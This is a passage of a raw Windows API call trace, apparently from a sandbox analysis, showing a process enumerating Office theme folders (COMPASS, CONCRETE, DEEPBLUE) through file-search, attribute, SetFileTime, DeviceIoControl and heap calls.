0xed4060 [0053.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1b90 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef84a8 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1bb0 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef85b0 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1bd0 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef86b8 [0053.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.444] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1bf0 [0053.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef87c0 [0053.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.445] GetLastError () returned 0x12 [0053.445] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.445] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.445] GetLastError () returned 0x12 [0053.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.445] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0053.446] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef9b28 [0053.446] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef9b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef9b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef9b28) returned 1 [0053.446] NtClose (Handle=0x170) returned 0x0 [0053.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.446] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.447] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1c10 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef88c8 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1c30 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef89d0 [0053.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1c50 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef8ad8 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9b40 [0053.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa340 [0053.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.448] GetLastError () returned 0x12 [0053.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.448] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.449] GetLastError () returned 0x12 [0053.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.449] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0053.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0053.586] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefc328 [0053.587] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefc328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefc328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc328) returned 1 [0053.589] NtClose (Handle=0x17c) returned 0x0 [0053.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, 